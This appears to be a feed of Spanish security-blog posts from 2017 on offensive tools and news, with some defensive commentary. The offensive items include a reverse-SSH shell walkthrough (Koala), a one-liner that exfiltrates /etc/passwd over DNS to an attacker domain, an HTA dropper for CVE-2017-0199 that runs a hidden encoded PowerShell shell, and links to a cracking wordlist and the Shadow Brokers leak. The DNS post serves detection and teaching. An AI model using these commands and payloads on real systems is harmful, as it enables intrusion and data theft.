Repo Github con 5000 millones de contraseñas reales ordenadas por popularidad

Ben aka berzerk0 ha publicado un repositorio en Github que seguro hará las delicias de todo aquel que quiera hacer un ataque de fuerza bruta o, mejor dicho, de diccionario para obtener una contraseña. Efectivamente, se trata de diccionarios pero, ¿qué tienen de especial? Pues que son bastante extensos y ordena las contraseñas por uso o más probables...

Normalmente podemos encontrar algunas listas con contraseñas ordenadas por popularidad, pero el problema es que la gran mayoría de las listas, especialmente las listas más grandes, son ordenados alfabéticamente. Evidentemente esto no es muy práctico. Si asumimos que la contraseña más común es "password" y estamos realizando un ataque de diccionario usando uno en inglés, vamos a tener que empezar con "aardvark" y pasar por "passover" para llegar a "password". "Aardvark" no parece una contraseña que elija mucha gente por lo que podríamos estar perdiendo mucho tiempo al no comenzar el ataque con la contraseña más común en nuestra lista!

Para crear los diccionarios, Ben fue a SecLists, Weakpass y Hashes.org y descargó casi todas las listas de palabras que contenían contraseñas reales. Estas listas eran enormes y terminó con más de 80GB reales, con contraseñas utilizadas y generadas por personas. Luego dividió los diccionarios entre más de 350 archivos de longitud variable, tipo de clasificación u orden, codificación de caracteres, origen y otras propiedades. Ordenó esos archivos, eliminó los duplicados de los propios archivos y juntó todos.

Si encontraba una contraseña en varios archivos, consideraba que era una aproximación de su popularidad. Si encontraba una entrada en 5 archivos, no era demasiado popular. Si una entrada se podía encontrar en 300 archivos, era muy popular. Usando comandos de Unix, concatenó todos los archivos en un archivo gigante que contenía 4 mil millones de claves usados en distintos sitios de la web, y los ordenó por el número de apariciones en el archivo único. Con esto, pudo crear una lista de palabras muy grande clasificada por popularidad, no por orden alfabético.

El resultado, este "peazo" de repositorio de 24GB indispensable para cualquier cracker al uso:

https://github.com/berzerk0/Probable-Wordlists

Segunda edición de EastMadH4ck (27 y 28 de mayo)

Esta entrada está dedicada a EastMadHack, una nueva organización cuyo fin es la de formar y formarse por y entre profesionales. Se trata de una asociación de reciente creación que acoge tanto a profesionales de la seguridad informática como a desarrolladores de software.

El año pasado se celebró la primera edición de su evento donde se trataron, de una manera cercana, los temas de actualidad en el mundo de la seguridad y el desarrollo. Con ponencias como la de Javier Cuenca, David Marugán, Enrique Serrano, Ángel-Pablo Avilés, etc… que dieron un alto nivel técnico, partiendo desde los niveles más bajos. Se realizaron demostraciones en vivo y con un trato cercano que hicieron que los charla-talleres fueran muy amenos.

Este año vuelven mucho más fuertes, los días 27 y 28 de mayo (sábado y domingo respectivamente) en el Auditorio Montserrat Caballé, situado en la calle del Mar de Alborán, 1 28500 Arganda del rey, Madrid.


En esta edición, a diferencia de la pasada, se realizará todo en un solo fin de semana durante dos días consecutivos. Cada jornada se llevará a cabo desde las 10:00 hasta 20:00h (GMT +1) que se dividirán en dos tracks, uno que agrupará principalmente ponencias y otro mixto en el que se verán proyecciones, ponencias y se realizarán talleres.

Esta edición no solo nos trae muchos mas ponentes, sino además los talleres. Sin olvidarnos de que comenzamos a ubicarnos en el mapa de las CON y que comenzamos a poner foco en esta zona geográfica de Madrid.

El enlace de la agenda es:
http://eastmadhack.org/eastmadhack-2017/agenda-27-mayo/

El coste de las 150 primeras entradas es de 10,75€ y el de las 200 restantes (que se pondrán a la venta al agotar las 150 primeras) será de 15,75€. Dicho importe irá destinado principalmente a los gastos que genera el propio evento, como pueda ser la pegatina y camiseta incluidas con la entrada, los flyers, la cartelería, las acreditaciones de los ponentes…

Las entradas están disponibles en la siguiente URL:
https://www.ticketbase.com/events/eastmadhack-2017

Esperamos a todo el mundo en el evento!

Un saludo!

Koala: un servidor Dropbear modificado para obtener una shell inversa por SSH

Koala es una versión "parcheada" del servidor SSH Dropbear que, en lugar de abrir un puerto y dejarlo a la escucha, lo que hace es abrir una shell inversa conectándose a un cliente remoto.

Esto es muy útil para conseguir una terminal pty en una máquina comprometida y también para la exfiltración segura de datos a través de un reenvío de puertos SSH (port forwarding SSH). También se puede pivotar mediante el port forwading dinámico por SSH.

Instalación:

git clone https://github.com/mrschyte/pentestkoala.git

cd pentesterkoala

./configure

vi options.h (configurar las opciones deseadas)

make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp"

make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp" install


Uso (paso a paso)

1.- ATACANTE

# ncat -lvp 5000 --sh-exec 'ncat -lvp 9999'
Ncat: Version 7.12 ( https://nmap.org/ncat )
Ncat: Listening on :::5000
Ncat: Listening on 0.0.0.0:5000



2.- SERVIDOR COMPROMETIDO

# dropbear -p 192.168.1.180:5000
root@WEBBS:/home/vmotos/tools/pentestkoala# [1226] Apr 24 01:00:00 Child connection from 192.168.1.180:5000



3.- ATACANTE

...
Ncat: Connection from 192.168.1.180.
Ncat: Connection from 192.168.1.180:45733.
Ncat: Version 7.12 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999

# ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null localhost -D9050 -p9999
Warning: Permanently added '[localhost]:9999' (ECDSA) to the list of known hosts.


The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@kali:~# uname -a
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux


(4.- SERVIDOR COMPROMETIDO)

# [6381] Apr 24 11:14:47 Generated hostkey fingerprint is md5 ef:23:bc:62:05:59:3e:e7:5f:e2:e6:05:3c:32:b0:a6

Fuente: https://github.com/mrschyte/pentestkoala/

¿Y tú, implementas alguna medida para detectar tráfico DNS malicioso?

Hoy leía en el blog de Sans una breve pero interesante entrada de Xavier Mertens que reseñaba la importancia de revisar la longitud de las consultas DNS en la red para detectar actividad maliciosa.

A estas alturas, todos sabemos que el servicio DNS se puede utilizar de varias maneras para evitar los controles de seguridad perimetral. El túnel DNS es ya una forma muy extendida de establecer conexiones con sistemas remotos (casi siempre con la intención de obtener una shell inversa y/o exfiltrar datos) y normalmente se basa en registros "TXT" utilizados para entregar el payload codificado.

Demasiadas solicitudes TXT DNS suelen apuntar a que algo extraño está sucediendo en la red, pero el "blue team" ha de tener cuidado para no darse de bruces ante la detección un buen número de falsos positivos porque los registros "TXT" también se utilizan con buenos propósitos, como el envío de registros SPF.

Adicionalmente, en lugar de utilizar registros TXT, la exfiltración de datos puede ocurrir directamente a través de resoluciones simples de FQDN ("Fully Qualified Domain Name"). El RFC 1035 establece que una longitud de consulta DNS es de 255 caracteres en total con cada subdominio de 63 caracteres o menos. Mediante el uso de Base32, podemos codificar nuestros datos en cadenas compatibles con los requisitos de DNS: "A-Z", "0-9" y "-".

Es fácil exfiltrar un archivo con el siguiente comando shell. Por ejemplo, podemos codificar un archivo (por ejemplo /etc/passwd) y generar varias solicitudes DNS a un dominio controlado por el atacante:
$ cat /etc/passwd | base32 -w 63 | while read L

do
  dig $L.data.rootshell.be @192.168.254.8
done

Ten en cuenta que el parámetro '-w 63' hace que la codificación respete el RFC. En el lado del atacante se verá llegar las siguientes peticiones:
$ grep 'data.rootshell.be' queries.log

20-Apr-2017 08:32:11.075 queries: info: client 172.x.x.x#44635: query: OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be IN A +E (192.168.254.8)

20-Apr-2017 08:32:11.113 queries: info: client 172.x.x.X#50081: query: YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be IN A +E (192.168.254.8)

20-Apr-2017 08:32:11.173 queries: info: client 172.x.x.x#40457: query: QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be IN A +E (192.168.254.8)

20-Apr-2017 08:32:11.222 queries: info: client 172.x.x.x#56897: query: 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be IN A +E (192.168.254.8)

20-Apr-2017 08:32:11.276 queries: info: client 172.x.x.x#57339: query: GOTYHI2DUNRVGUZTIOTTPFXGGORPMJUW4ORPMJUW4L3TPFXGGCTHMFWWK4Z2PA5.data.rootshell.be IN A +E (192.168.254.8)

...

Para decodificarlo, simplemente se puede lanzar el comando:
$ grep 'data.rootshell.be' queries.log | cut -d ' ' -f8 | cut -d '.' -f1| base32 -d | more

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
...

Y tampoco hace falta tener levantado un servidor DNS, basta con esnifar el tráfico entrante:
# tcpdump -vvv -s 0 -i eth0 -l -n port 53 | egrep "A\? .*\.data\.rootshell\.be"

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

    172.x.x.x.40335 > 192.168.254.8.53: [udp sum ok] 9843+ [1au] A? OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be. ar: . OPT UDPsize=4096 (110)

    172.x.x.x.35770 > 192.168.254.8.53: [udp sum ok] 19877+ [1au] A? YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be. ar: . OPT UDPsize=4096 (110)

    172.x.x.x.41463 > 192.168.254.8.53: [udp sum ok] 29267+ [1au] A? QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be. ar: . OPT UDPsize=4096 (110)

    172.x.x.x.38048 > 192.168.254.8.53: [udp sum ok] 30042+ [1au] A? 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be. ar: . OPT UDPsize=4096 (110)

...

No obstante, incluso hay que tener especialmente cuidado para detectar peticiones de resolución de nombres tan largos porque algunas CDNs utilizan peticiones también bastantes largas para identificar archivos, por ej.:

hxxps://2ecffd01e1ab3e9383f0-07db7b9624bbdf022e3b5395236d5cf8.ssl.cf4.rackcdn.com/Product/178ee827-0671-4f17-b75b-2022963f5980.pdf

¿La solución para una buena defensa? Para reducir el riesgo de falsos positivos hay que combinar varios controles como el volumen de tráfico por IP y por subdominios, la longitud de las peticiones DNS, el patrón y formato de las peticiones DNS y la repetición del destino de las peticiones (probable C2). Además de varias medidas como la creación de listas blancas y, quizás lo más efectivo, limitar el "horizonte" DNS (que sólo pueda resolver nombres de Internet un proxy).

¿Y tú, implementas alguna medida para detectar tráfico DNS malicioso?

Canal encubierto entre dos VM usando el caché compartido de la CPU

Un grupo de investigadores ha demostrado que puede extraer información de una máquina virtual de Amazon Web Services a través de la memoria caché de una CPU que comparte con otras VM en la nube.

Un documento titulado (traducido) "Hola desde el otro lado: SSH sobre los canales encubiertos del robusto caché en la nube (PDF)" explica los retos de la extracción de datos de caché de la CPU, un recurso muy usado en el que el sistema operativo, el hipervisor y las aplicaciones llevan a cabo operaciones frecuentes. Toda esa actividad hace mucho ruido, desafiando los intentos de crear un canal de comunicaciones persistente.

Hasta ahora, como afirman los investigadores, han construido "un canal encubierto de alto rendimiento que puede mantener velocidades de transmisión de más de 45 Kbps en Amazon EC2". Incluso lo han cifrado: la técnica establece una red TCP dentro de la caché y transmite datos usando SSH.

Los resultados son impresionantes, recientemente en la Black Hat Asia se dio una charla en la que se detalló su trabajo y se demostró incluso cómo transmitir video de VM a VM usando la memoria caché de un host.

El paper explica que este material no es totalmente nuevo, pero hasta ahora no ha sido totalmente exitoso porque se ha asumido que "el código de corrección de errores se puede aplicar directamente, y la suposición de que el ruido efectivamente elimina los canales encubiertos".

Los autores derriban ambos argumentos, el primero por encontrar una manera de manejar los errores y el segundo con la creación de un método efectivo de programación de la comunicación entre dos máquinas virtuales.

El documento detalla estos esfuerzos que denomina "Cache-based Jamming Agreement" y ofrecen el código en GitHub para que quién quiera pueda construir su propio canal encubierto en caché, ya sea en el local o en la nube.

Conseguir esto en la nube no es trivial, porque primero se debe averiguar cómo obtener dos máquinas virtuales que se ejecutan en el mismo host, aunque un documento de 2015 titulado "A Placement Vulnerability Study en Multi-Tenant Public Clouds" encontró que es posible en Amazon, Google y Azure y es citado por los autores del paper.

Digamos que este ataque puede parece un poco "exótico", pero también demuestra por qué muchos usuarios están dispuestos a pagar por tener las instancias dedicadas en su nube. También podemos ver que el multi-tenancy todavía tiene un largo camino por recorrer.

Fuente: Researchers steal data from CPU cache shared by two VMs

Explotación práctica de CVE-2017-0199 (Windows RTF RCE)

Red teams, juakers y demás fauna están enviando masivamente documentos maliciosos que explotan la vulnerabilidad CVE-2017-0199 y luego usan MS17-010 para pivotar a través de dominios internos, literalmente están lloviendo shells…

Si recordáis, la vulnerabilidad etiquetada como CVE-2017-0199 nació como un 0-day que explotaba las últimas versiones de Microsoft Office, concretamente un RTF que se vio inicialmente en un manual militar en ruso con objetivos en la República de Donestk y que comprometía el PC de la víctima con sólo abrirlo (permitía RCE). Luego se usó también para instalar malware como Latentbot y en campañas del troyano bancario Dridex, aunque hasta ahora no había mucho detalle del exploit.

Y digo hasta ahora porque en varios sitios están reportando verdaderos tutoriales para montar y llevar a cabo ataques explotando esta vulnerabilidad que, como decía al principio, se encadenan con MS17-010 y otros para conseguir verdaderas intrusiones “hasta la cocina”.

Uno de los más "didácticos" es el de David Routin (@Rewt_1) que plantea un escenario en el que hay que:

- Modificar el código fuente del RTF con el payload
- Evitar el error generado al crear un enlace directo al documento HTA
- Activar automáticamente el objeto OLE

Echémosle un vistazo a cómo llevarlo a cabo paso a paso:

Paso 1

Prepara un archivo HTA: (el archivo HTA es una aplicación HTML que puede ejecutar JScript y VBscript)
Vamos a llamarlo "ms.hta"
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
<html xmlns="hxxp://www.w3.org/1999/xhtml"> 

  <head> 

    <meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
    <title>Bonjour
    </title> 

    <script language="VBScript"> 
      Set owFrClN0giJ = CreateObject("Wscript.Shell") 
      Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject") 
      If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then 

      owFrClN0giJ.Run "powershell.exe -nop -w hidden -e ENCODED_B64_SHELL" 
      End If

    </script> 
    <hta:application 

                     id="oHTA" 
                     applicationname="Bonjour" 
                     application="yes" 
                     > 

    </hta:application> 
  </head> 
  <div> 

    <object type="text/html" data="hxxp://windows.microsoft.com/en-IN/windows7/products/features/windows-defender" width="100%" height="100%"> 

    </object>
  </div>   
  <body> 
  </body> 
</html>

Paso 2

Crea un sencillo documento RTF utilizando Winword con cualquier contenido. (En el ejemplo la frase “This is my official and legit content”)

Shadow Brokers libera más exploits que ponen en riesgo a los equipos Windows que no hayan sido recientemente actualizados

El 8 de enero Shadow Brokers puso a subasta una lista de exploits que robó a Equation Group ("aka NSA").
El pasado Viernes Santo/14 de abril, y más de tres meses después, el enigmático Grupo ha liberado más exploits, algunos como Fuzzbunch y DanderSpritz que ya anunciaron, otros 0-days para explotar Microsoft Windows, y también para otras vulnerabilidades en Lotus Domino y SWIFT.

El volcado contiene tres directorios llamados Windows, Swift y OddJob. La carpeta de Windows contiene varias herramientas para explotar Windows, OddJob contiene un implant que puede ser instalado en sistemas operativos Windows (aunque los detalles son escasos en este momento) y el directorio SWIFT contiene secuencias de comandos SQL que buscan datos específicos de SWIFT dentro de bases de datos, y archivos de texto y Excel como el de la imagen que demuestran que Equation Group había hackeado y obtenido acceso a varios bancos en todo el mundo.

Microsoft ya ha movido ficha (¿avisados por quién?) emitiendo un comunicado en el que afirma que todas las vulnerabilidades han sido previamente parcheadas, lo cuál no quita que haya material suficiente para alimentar cualquier arsenal con estos exploits y herramientas para comprometer las desactualizadas máquinas de las siempre incautas víctimas:

- Repositorio en Github con el leak: https://github.com/misterch0c/shadowbroker/

Saeta de Semana Santa... La muerte de la "scene"

No sé si con el paso de los años me estoy volviendo blando, o que cada vez leer noticias de seguridad se me hace mas pesado (lo cierto es que hoy soy el riñón astío de Jack). Antes abordaba esta tarea como algo natural, algo entusiasmante; podías encontrar cualquier cosa... meterse en un foro "hacker" era emocionante, trepidante, incluso rayaba en la ilegalidad.

Hoy por hoy solo encuentras Ingenieros (cosa que no es mala)...XD... pero a muchos les podríamos quitar sin dilación la raíz latina de "genium" y les podríamos poner cualquier otra y daría igual o. lo que es peor, solo encuentras intereses, balances, activos y demás lindezas.

Los e-zines han dado paso a las "macro charlas de seguridad" financiadas por los gigantes de las telecomunicaciones, y presididas por los cuerpos de seguridad (que antes te miraban con cara rara y como te descuidaras te financiaban un buen par de .....). La palabra hacker ha dado paso a "consultor de seguridad", cosa que profesionalmente mirado, no es nada malo... pero señores es muy aburrido.

No sé si la scene con la incursión reclutatoria de la empresa privada se está volviendo algo tremendamente soporífero, o por consecuencia era la senda evolutiva, pero lo fijo es que pierde frescura a marchas forzadas.

Ya solo quedan o chicos muy malos (los cuales aun me sorprenden) o chicos muy buenos. A riesgo de la crucifixión (muy acorde con las fechas) os dejo estos pobres pensamientos para la reflexión, pero si al poneros al frente de vuestro ordenador a las 2 de la mañana ya no os resulta tan trepidante como en aquellos años... DEBERÍAIS VER MENOS LA TELE... o quizás y solo quizás la crisis, la necesidad o las imágenes idealizadas de lo que nos meten por los ojos de lo que es el triunfo nos haga perder el horizonte y tengamos menos reparos al vender nuestro culo.

Recopilado de Inet:

"Nicholas Allegra (Comex) - De JailbreakMe a becario de Apple"

A este joven de 19 años de Nueva York, se le metió entre ceja y ceja romper la seguridad que Apple impone al iOS del iPhone y el iPad. El objetivo era simple: Comex, como se le conoce en Internet, quería desarrollar e instalar sus propias aplicaciones sin tener que pasar por el control del sistema operativo. El resultado fue el código de JailbreakMe, que posibilita al usuario instalar sus propias aplicaciones y extensiones sin necesidad de pasar por el AppStore, e incluso permite revertir el proceso utilizando iTunes.
Adueñarse del control del dispositivo no es en realidad ilegal, pero sí provoca la pérdida de la garantía de Apple sobre el producto. Además, el agujero de seguridad podría ser aprovechado por otros desarrolladores con peores intenciones. De ahí que Apple tardara poco más de una semana en parchear el sistema. No obstante hoy la noticia es que Comex pasará a ser empleado de Apple, la misma empresa a la que ha hackeado.

MouseJack o cómo comprometer un ordenador "secuestrando" un ratón inalámbrico

Hoy vamos a ver una de esas vulnerabilidades que llaman la atención por su originalidad y cuya repercusión incluso deriva en la creación de una página web con su nombre: http://www.mousejack.com/.

Se trata de MouseJack descubierta hace más o menos un año por el equipo de Bastille y es una clase de vulnerabilidades que afecta a la gran mayoría de los teclados y ratones inalámbricos, no Bluetooth. Estos periféricos están 'conectados' al ordenador usando un transceptor de radio, comúnmente un pequeño dongle USB. Dado que la conexión es inalámbrica y los movimientos del ratón y las pulsaciones de teclas se envían por aire, es posible comprometer el PC de una víctima mediante la transmisión de señales de radio especialmente diseñadas utilizando un dispositivo que cuesta tan sólo unos 15€ aprox.

Un atacante puede lanzar el ataque desde 100 metros de distancia. El atacante es capaz de tomar el control de la computadora objetivo, sin estar físicamente frente a ella, y escribir texto arbitrariamente o enviar comandos mediante scripts. Por lo tanto, es posible realizar rápidamente actividades maliciosas sin ser detectado.

La explotación de MouseJack se centra alrededor de la inyección de pulsaciones de teclas sin cifrar en un equipo de destino. Los movimientos del ratón suelen enviarse sin cifrar pero las pulsaciones de teclas si suelen estar cifradas (para evitar eavesdropping mientras se está escribiendo). Sin embargo, la vulnerabilidad de MouseJack se aprovecha de algunos receptores/dongles y su software correspondiente, permitiendo que las pulsaciones de teclas no cifradas transmitidas por un atacante se trasladen al sistema operativo como si la víctima las hubiera escrito legítimamente.

Sirva de ejemplo el siguiente vídeo:

A la izquierda está la máquina de la víctima que tiene un dongle conectado para un ratón inalámbrico. A la derecha está el atacante. La parte superior derecha es una configuración de escucha para recibir una conexión de vuelta de la máquina de la víctima (shell reversa meterpreter). La parte inferior derecha es el atacante que inyecta pulsaciones de teclas después de secuestrar el dongle del ratón inalámbrico. El atacante ejecuta un powershell de una sola línea y recibe una conexión de vuelta de la máquina de la víctima que ahora controla en la parte superior derecha.

Para obtener más información sobre la vulnerabilidad de MouseJack puedes visitar también la web oficial, leer el white paper técnico de MouseJack y ver la lista de dispositivos afectados.

¿A qué ahora añoras tu viejo ratón con cable? ;)

PowerMeta: un script en PowerShell para buscar los ficheros públicos de un dominio y extraer sus metadatos

PowerMeta es un script en PowerShell que busca archivos públicos alojados en varios sitios web para un dominio en particular usando búsquedas personalizadas en Google y Bing, luego permite su descarga y finalmente analiza los metadatos asociados mediante Exiftool. Ya sabemos que los metadatos muchas veces facilitan datos tan interesantes como nombres de usuario, dominios, tipos de software, nombres de equipo, etc. por lo que usar esta herramienta en las fases iniciales de reconocimiento de un test intrusión puede resultar bastante interesante.

Para usar PowerMeta sólo tendremos que poner el ejecutable de la herramienta Exiftool en el mismo path (si no te fías del repo puedes descargarla desde aquí). Por defecto, sólo extrae los campos 'Autor' y 'Creador', ya que estos normalmente son los que siempre se guardan con los documentos. Sin embargo, también se pueden extraer todos al pasarle a PowerMeta el parámetro -ExtractAllToCsv.

Uso

Búsqueda básica

Con el siguiente comando, mediante Google y Bing se buscan archivos en el dominio 'targetdomain.com' con las extensiones pdf, docx, xlsx, doc, xls, pptx o pptx. Una vez que haya terminado de elaborar esta lista, preguntará al usuario si desea descargar los archivos y, después de descargarlos, volverá a solicitar la extracción de metadatos de esos archivos.

C:\PS> Invoke-PowerMeta -TargetDomain targetdomain.com

Guardar los resultados en un archivo

El mismo comando anterior con la salvedad de que se guardarán los enlaces a los archivos encontrados en "target-domain-links.txt".

C:\PS> Invoke-PowerMeta -TargetDomain targetdomain.com -TargetFileList target-domain-links.txt

Cambiar los tipos de archivo y permitir la descarga y extracción automáticas

El siguiente comando buscará con Google y Bing archivos con la extensión pdf o xml en el dominio 'targetdomain.com'. Luego, los descargará automáticamente y extraerá los metadatos.

C:\PS> Invoke-PowerMeta -TargetDomain targetdomain.com -FileTypes "pdf, xml" -Download -Extract

Extraer todos los metadatos y limitar la búsqueda de páginas

Este comando buscará también en Google y Bing archivos con extensión pdf, docx, xlsx, doc, xls, pptx o pptx en el dominio 'targetdomain.com', pero sólo buscará en las dos primeras páginas. Todos los metadatos (no sólo los campos predeterminados) se guardarán en un CSV llamado all-target-metadata.csv.

C:\PS> Invoke-PowerMeta -TargetDomain targetdomain.com -MaxSearchPages 2 -ExtractAllToCsv all-target-metadata.csv

Extraer metadatos de archivos de un directorio

Este comando simplemente extraerá todos los metadatos de todos los archivos de la carpeta "\2017-03-031-144953" y los guardará en un CSV llamado all-target-metadata.csv

C:\PS> ExtractMetadata -OutputDir .\2017-03-031-144953\ -ExtractAllToCsv all-target-metadata.csv

Opciones de PowerMeta

TargetDomain        - The target domain to search for files.
FileTypes           - A comma seperated list of file extensions to search for. By default PowerMeta searches for "pdf, docx, xlsx, doc, xls, pptx, ppt".
OutputList          - A file to output the list of links discovered through web searching to.
OutputDir           - A directory to store all downloaded files in.
TargetFileList      - List of file links to download.
Download            - Instead of being prompted interactively pass this flag to auto-download files found.
Extract             - Instead of being prompted interactively pass this flag to extract metadata from found files pass this flag to auto-extract any metadata.
ExtractAllToCsv     - All metadata (not just the default fields) will be extracted from files to a CSV specified with this flag.
UserAgent           - Change the default User Agent used by PowerMeta.
MaxSearchPages      - The maximum number of pages to search on each search engine.

Proyecto: https://github.com/dafthack/PowerMeta